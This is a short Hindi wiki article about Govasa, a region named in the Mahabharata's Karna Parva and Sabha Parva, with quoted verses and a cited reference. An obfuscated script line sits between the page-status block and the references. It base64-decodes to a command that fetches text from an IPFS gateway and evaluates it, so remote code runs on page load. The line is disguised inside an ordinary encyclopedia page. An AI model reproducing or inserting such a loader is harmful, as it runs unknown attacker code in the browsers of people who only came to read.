गोवास

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 13:45, 11 नवम्बर 2012 का अवतरण (''''गोवास''' नामक स्थान का उल्लेख महाभारत, [[कर्णपर्व मह...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

गोवास नामक स्थान का उल्लेख महाभारत, कर्णपर्व[1] में हुआ है-

'गोवास दासमीयानां वसातीनां च भारत, प्राच्यानां वाटधानानां भोजनां चाभिमानिनाम्'

  • गोवास संभवत: शिवि देश का ही दूसरा नाम था। यह देश गोधन के लिए प्रसिद्ध था।[2]
  • इस देश की सेनाएँ महाभारत के युद्ध में धृतराष्ट्र के पुत्र दुर्योधन की ओर से शामिल हुईं थीं जैसा कि उपर्युक्त श्लोक के प्रसंग में वर्णित हैं।
  • महाभारत, सभापर्व 51, 5 में भी गोवास निवासियों का उल्लेख है-

'गोवासना ब्रह्मणाश्च दासमीयाश्च सर्वश:।'


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. कर्णपर्व 73, 17
  2. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 307 |

संबंधित लेख